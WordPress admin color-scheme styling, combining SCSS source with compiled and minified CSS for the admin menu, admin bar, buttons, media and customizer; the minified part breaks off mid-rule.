.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
  box-shadow: 0 0 0 1px #e8776f, 0 0 2px 1px #e14d43;
}
.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover {
  border-bottom-color: #e14d43;
  color: #0073aa;
}
@import 'variables';
@import 'mixins';

/**
 * This function name uses British English to maintain backward compatibility, as developers
 * may use the function in their own admin CSS files. See #56811.
 */
@function url-friendly-colour( $color ) {
	@return '%23' + str-slice( '#{ $color }', 2, -1 );
}

body {
	background: $body-background;
}


/* Links */

a {
	color: $link;

	&:hover,
	&:active,
	&:focus {
		color: $link-focus;
	}
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-revisions:before,
span.wp-media-buttons-icon:before {
	color: currentColor;
}

.wp-core-ui .button-link {
	color: $link;

	&:hover,
	&:active,
	&:focus {
		color: $link-focus;
	}
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment,
.wp-core-ui .button-link-delete {
	color: #a00;
}

.media-modal .delete-attachment:hover,
.media-modal .trash-attachment:hover,
.media-modal .untrash-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:focus,
.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
	color: #dc3232;
}

/* Forms */

input[type=checkbox]:checked::before {
	content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27#{url-friendly-colour($form-checked)}%27%2F%3E%3C%2Fsvg%3E");
}

input[type=radio]:checked::before {
	background: $form-checked;
}

.wp-core-ui input[type="reset"]:hover,
.wp-core-ui input[type="reset"]:active {
	color: $link-focus;
}

input[type="text"]:focus,
input[type="password"]:focus,
input[type="color"]:focus,
input[type="date"]:focus,
input[type="datetime"]:focus,
input[type="datetime-local"]:focus,
input[type="email"]:focus,
input[type="month"]:focus,
input[type="number"]:focus,
input[type="search"]:focus,
input[type="tel"]:focus,
input[type="text"]:focus,
input[type="time"]:focus,
input[type="url"]:focus,
input[type="week"]:focus,
input[type="checkbox"]:focus,
input[type="radio"]:focus,
select:focus,
textarea:focus {
	border-color: $highlight-color;
	box-shadow: 0 0 0 1px $highlight-color;
}


/* Core UI */

.wp-core-ui {

	.button {
		border-color: #7e8993;
		color: #32373c;
	}

	.button.hover,
	.button:hover,
	.button.focus,
	.button:focus {
		border-color: darken( #7e8993, 5% );
		color: darken( #32373c, 5% );
	}

	.button.focus,
	.button:focus {
		border-color: #7e8993;
		color: darken( #32373c, 5% );
		box-shadow: 0 0 0 1px #32373c;
	}

	.button:active {
		border-color: #7e8993;
		color: darken( #32373c, 5% );
		box-shadow: none;
	}

	.button.active,
	.button.active:focus,
	.button.active:hover {
		border-color: $button-color;
		color: darken( #32373c, 5% );
		box-shadow: inset 0 2px 5px -3px $button-color;
	}

	.button.active:focus {
		box-shadow: 0 0 0 1px #32373c;
	}

	@if ( $low-contrast-theme != "true" ) {
		.button,
		.button-secondary {
			color: $highlight-color;
			border-color: $highlight-color;
		}

		.button.hover,
		.button:hover,
		.button-secondary:hover{
			border-color: darken($highlight-color, 10);
			color: darken($highlight-color, 10);
		}

		.button.focus,
		.button:focus,
		.button-secondary:focus {
			border-color: lighten($highlight-color, 10);
			color: darken($highlight-color, 20);;
			box-shadow: 0 0 0 1px lighten($highlight-color, 10);
		}

		.button-primary {
			&:hover {
				color: #fff;
			}
		}
	}

	.button-primary {
		@include button( $button-color );
	}

	.button-group > .button.active {
		border-color: $button-color;
	}

	.wp-ui-primary {
		color: $text-color;
		background-color: $base-color;
	}
	.wp-ui-text-primary {
		color: $base-color;
	}

	.wp-ui-highlight {
		color: $menu-highlight-text;
		background-color: $menu-highlight-background;
	}
	.wp-ui-text-highlight {
		color: $menu-highlight-background;
	}

	.wp-ui-notification {
		color: $menu-bubble-text;
		background-color: $menu-bubble-background;
	}
	.wp-ui-text-notification {
		color: $menu-bubble-background;
	}

	.wp-ui-text-icon {
		color: $menu-icon;
	}
}


/* List tables */
@if $low-contrast-theme == "true" {
	.wrap .page-title-action:hover {
		color: $menu-text;
		background-color: $menu-background;
	}
} @else {
	.wrap .page-title-action,
	.wrap .page-title-action:active {
		border: 1px solid $highlight-color;
		color: $highlight-color;
	}

	.wrap .page-title-action:hover {
		color: darken($highlight-color, 10);
		border-color: darken($highlight-color, 10);
	}

	.wrap .page-title-action:focus {
		border-color: lighten($highlight-color, 10);
		color: darken($highlight-color, 20);;
		box-shadow: 0 0 0 1px lighten($highlight-color, 10);
	}
}

.view-switch a.current:before {
	color: $menu-background;
}

.view-switch a:hover:before {
	color: $menu-bubble-background;
}


/* Admin Menu */

#adminmenuback,
#adminmenuwrap,
#adminmenu {
	background: $menu-background;
}

#adminmenu a {
	color: $menu-text;
}

#adminmenu div.wp-menu-image:before {
	color: $menu-icon;
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
	color: $menu-highlight-text;
	background-color: $menu-highlight-background;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
	color: $menu-highlight-icon;
}


/* Active tabs use a bottom border color that matches the page background color. */

.about-wrap .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
	background-color: $body-background;
	border-bottom-color: $body-background;
}


/* Admin Menu: submenu */

#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
	background: $menu-submenu-background;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
	border-right-color: $menu-submenu-background;
}

#adminmenu .wp-submenu .wp-submenu-head {
	color: $menu-submenu-text;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
	color: $menu-submenu-text;

	&:focus, &:hover {
		color: $menu-submenu-focus-text;
	}
}


/* Admin Menu: current */

#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
	color: $menu-submenu-current-text;

	&:hover, &:focus {
		color: $menu-submenu-focus-text;
	}
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
    border-right-color: $body-background;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
	color: $menu-current-text;
	background: $menu-current-background;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.current div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
	color: $menu-current-icon;
}


/* Admin Menu: bubble */

#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
	color: $menu-bubble-text;
	background: $menu-bubble-background;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
	color: $menu-bubble-current-text;
	background: $menu-bubble-current-background;
}


/* Admin Menu: collapse button */

#collapse-button {
    color: $menu-collapse-text;
}

#collapse-button:hover,
#collapse-button:focus {
    color: $menu-submenu-focus-text;
}

/* Admin Bar */

#wpadminbar {
	color: $menu-text;
	background: $menu-background;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
	color: $menu-text;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
	color: $menu-icon;
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
	color: $menu-submenu-focus-text;
	background: $menu-submenu-background;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
	color: $menu-submenu-focus-text;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
	color: $menu-submenu-focus-text;
}


/* Admin Bar: submenu */

#wpadminbar .menupop .ab-sub-wrapper {
	background: $menu-submenu-background;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
	background: $menu-submenu-background-alt;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
	color: $menu-submenu-text;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
	color: $menu-icon;
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
	color: $menu-submenu-focus-text;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
	color: $menu-submenu-focus-text;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
	color: $menu-icon;
}


/* Admin Bar: search */

#wpadminbar #adminbarsearch:before {
	color: $menu-icon;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
	color: $menu-text;
	background: $adminbar-input-background;
}

/* Admin Bar: recovery mode */

#wpadminbar #wp-admin-bar-recovery-mode {
	color: $adminbar-recovery-exit-text;
	background-color: $adminbar-recovery-exit-background;
}

#wpadminbar #wp-admin-bar-recovery-mode .ab-item,
#wpadminbar #wp-admin-bar-recovery-mode a.ab-item {
	color: $adminbar-recovery-exit-text;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover >.ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
	color: $adminbar-recovery-exit-text;
	background-color: $adminbar-recovery-exit-background-alt;
}

/* Admin Bar: my account */

#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
	border-color: $adminbar-avatar-frame;
	background-color: $adminbar-avatar-frame;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
	color: $menu-text;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
	color: $menu-submenu-focus-text;
}

#wpadminbar #wp-admin-bar-user-info .username {
	color: $menu-submenu-text;
}


/* Pointers */

.wp-pointer .wp-pointer-content h3 {
	background-color: $highlight-color;
	border-color: darken( $highlight-color, 5% );
}

.wp-pointer .wp-pointer-content h3:before {
	color: $highlight-color;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
	border-bottom-color: $highlight-color;
}


/* Media */

.media-item .bar,
.media-progress-bar div {
	background-color: $highlight-color;
}

.details.attachment {
	box-shadow:
		inset 0 0 0 3px #fff,
		inset 0 0 0 7px $highlight-color;
}

.attachment.details .check {
	background-color: $highlight-color;
	box-shadow: 0 0 0 1px #fff, 0 0 0 2px $highlight-color;
}

.media-selection .attachment.selection.details .thumbnail {
	box-shadow: 0 0 0 1px #fff, 0 0 0 3px $highlight-color;
}


/* Themes */

.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
	background: $highlight-color;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
	color: $highlight-color;
}

.theme-section.current,
.theme-filter.current {
	border-bottom-color: $menu-background;
}

body.more-filters-opened .more-filters {
	color: $menu-text;
	background-color: $menu-background;
}

body.more-filters-opened .more-filters:before {
	color: $menu-text;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
	background-color: $menu-highlight-background;
	color: $menu-highlight-text;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
	color: $menu-highlight-text;
}

/* Widgets */

.widgets-chooser li.widgets-chooser-selected {
	background-color: $menu-highlight-background;
	color: $menu-highlight-text;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
	color: $menu-highlight-text;
}


/* Nav Menus */

.nav-menus-php .item-edit:focus:before {
	box-shadow:
		0 0 0 1px lighten($button-color, 10),
		0 0 2px 1px $button-color;
}


/* Responsive Component */

div#wp-responsive-toggle a:before {
	color: $menu-icon;
}

.wp-responsive-open div#wp-responsive-toggle a {
	// ToDo: make inset border
	border-color: transparent;
	background: $menu-highlight-background;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
	background: $menu-submenu-background;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
	color: $menu-icon;
}

/* TinyMCE */

.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
	background: $highlight-color;
}

/* Customizer */
.wp-core-ui {
	#customize-controls .control-section:hover > .accordion-section-title,
	#customize-controls .control-section .accordion-section-title:hover,
	#customize-controls .control-section.open .accordion-section-title,
	#customize-controls .control-section .accordion-section-title:focus {
		color: $link;
		border-left-color: $button-color;
	}

	.customize-controls-close:focus,
	.customize-controls-close:hover,
	.customize-controls-preview-toggle:focus,
	.customize-controls-preview-toggle:hover {
		color: $link;
		border-top-color: $button-color;
	}

	.customize-panel-back:hover,
	.customize-panel-back:focus,
	.customize-section-back:hover,
	.customize-section-back:focus {
		color: $link;
		border-left-color: $button-color;
	}

	.customize-screen-options-toggle:hover,
	.customize-screen-options-toggle:active,
	.customize-screen-options-toggle:focus,
	.active-menu-screen-options .customize-screen-options-toggle,
	#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
	#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
	#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
		color: $link;
	}

	.customize-screen-options-toggle:focus:before,
	#customize-controls .customize-info .customize-help-toggle:focus:before,
	&.wp-customizer button:focus .toggle-indicator:before,
	.menu-item-bar .item-delete:focus:before,
	#available-menu-items .item-add:focus:before,
	#customize-save-button-wrapper .save:focus,
	#publish-settings:focus {
		box-shadow:
			0 0 0 1px lighten($button-color, 10),
			0 0 2px 1px $button-color;
	}

	#customize-controls .customize-info.open .customize-help-toggle,
	#customize-controls .customize-info .customize-help-toggle:focus,
	#customize-controls .customize-info .customize-help-toggle:hover {
		color: $link;
	}

	.control-panel-themes .customize-themes-section-title:focus,
	.control-panel-themes .customize-themes-section-title:hover {
		border-left-color: $button-color;
		color: $link;
	}

	.control-panel-themes .theme-section .customize-themes-section-title.selected:after {
		background: $button-color;
	}

	.control-panel-themes .customize-themes-section-title.selected {
		color: $link;
	}

	#customize-theme-controls .control-section:hover > .accordion-section-title:after,
	#customize-theme-controls .control-section .accordion-section-title:hover:after,
	#customize-theme-controls .control-section.open .accordion-section-title:after,
	#customize-theme-controls .control-section .accordion-section-title:focus:after,
	#customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
	#customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
	#customize-outer-theme-controls .control-section.open .accordion-section-title:after,
	#customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
		color: $link;
	}

	.customize-control .attachment-media-view .button-add-media:focus {
		background-color: #fbfbfc;
		border-color: $button-color;
		border-style: solid;
		box-shadow: 0 0 0 1px $button-color;
		outline: 2px solid transparent;
	}

	.wp-full-overlay-footer .devices button:focus,
	.wp-full-overlay-footer .devices button.active:hover {
		border-bottom-color: $button-color;
	}

	.wp-full-overlay-footer .devices button:hover:before,
	.wp-full-overlay-footer .devices button:focus:before {
		color: $button-color;
	}

	.wp-full-overlay .collapse-sidebar:hover,
	.wp-full-overlay .collapse-sidebar:focus {
		color: $button-color;
	}

	.wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
	.wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
		box-shadow:
			0 0 0 1px lighten($button-color, 10),
			0 0 2px 1px $button-color;
	}

	&.wp-customizer .theme-overlay .theme-header .close:focus,
	&.wp-customizer .theme-overlay .theme-header .close:hover,
	&.wp-customizer .theme-overlay .theme-header .right:focus,
	&.wp-customizer .theme-overlay .theme-header .right:hover,
	&.wp-customizer .theme-overlay .theme-header .left:focus,
	&.wp-customizer .theme-overlay .theme-header .left:hover {
		border-bottom-color: $button-color;
		color: $link;
	}
}
/*! This file is auto-generated */
body{background:#f1f1f1}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link{color:#0073aa}.wp-core-ui .button-link:active,.wp-core-ui .button-link:focus,.wp-core-ui .button-link:hover{color:#0096dd}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#a00}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#dc3232}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E")}input[type=radio]:checked::before{background:#7e8993}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#dd823b;box-shadow:0 0 0 1px #dd823b}.wp-core-ui .button{border-color:#7e8993;color:#32373c}.wp-core-ui .button.focus,.wp-core-ui .button.hover,.wp-core-ui .button:focus,.wp-core-ui .button:hover{border-color:#717c87;color:#262a2e}.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#7e8993;color:#262a2e;box-shadow:0 0 0 1px #32373c}.wp-core-ui .button:active{border-color:#7e8993;color:#262a2e;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:focus,.wp-core-ui .button.active:hover{border-color:#dd823b;color:#262a2e;box-shadow:inset 0 2px 5px -3px #dd823b}.wp-core-ui .button.active:focus{box-shadow:0 0 0 1px #32373c}.wp-core-ui .button,.wp-core-ui .button-secondary{color:#dd823b;border-color:#dd823b}.wp-core-ui .button-secondary:hover,.wp-core-ui .button.hover,.wp-core-ui .button:hover{border-color:#c36922;color:#c36922}.wp-core-ui .button-secondary:focus,.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#e59e66;color:#98511a;box-shadow:0 0 0 1px #e59e66}.wp-core-ui .button-primary:hover{color:#fff}.wp-core-ui .button-primary{background:#dd823b;border-color:#dd823b;color:#fff}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#df8a48;border-color:#db7a2e;color:#fff}.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #dd823b}.wp-core-ui .button-primary:active{background:#d97426;border-color:#d97426;color:#fff}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:#dd823b;color:#fff;border-color:#ad5d1e;box-shadow:inset 0 2px 5px -3px #150b04}.wp-core-ui .button-group>.button.active{border-color:#dd823b}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#cf4944}.wp-core-ui .wp-ui-text-primary{color:#cf4944}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#dd823b}.wp-core-ui .wp-ui-text-highlight{color:#dd823b}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#ccaf0b}.wp-core-ui .wp-ui-text-notification{color:#ccaf0b}.wp-core-ui .wp-ui-text-icon{color:hsl(2.1582733813,7%,95%)}.wrap .page-title-action,.wrap .page-title-action:active{border:1px solid #dd823b;color:#dd823b}.wrap .page-title-action:hover{color:#c36922;border-color:#c36922}.wrap .page-title-action:focus{border-color:#e59e66;color:#98511a;box-shadow:0 0 0 1px #e59e66}.view-switch a.current:before{color:#cf4944}.view-switch a:hover:before{color:#ccaf0b}#adminmenu,#adminmenuback,#adminmenuwrap{background:#cf4944}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:hsl(2.1582733813,7%,95%)}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#dd823b}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#be3631}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:#be3631}#adminmenu .wp-submenu .wp-submenu-head{color:#f1c8c7}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#f1c8c7}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#f7e3d3}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#f7e3d3}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#dd823b}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#ccaf0b}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#be3631}#collapse-button{color:hsl(2.1582733813,7%,95%)}#collapse-button:focus,#collapse-button:hover{color:#f7e3d3}#wpadminbar{color:#fff;background:#cf4944}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:hsl(2.1582733813,7%,95%)}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#f7e3d3;background:#be3631}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#f7e3d3}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#f7e3d3}#wpadminbar .menupop .ab-sub-wrapper{background:#be3631}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#cf6b67}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#f1c8c7}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:hsl(2.1582733813,7%,95%)}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li 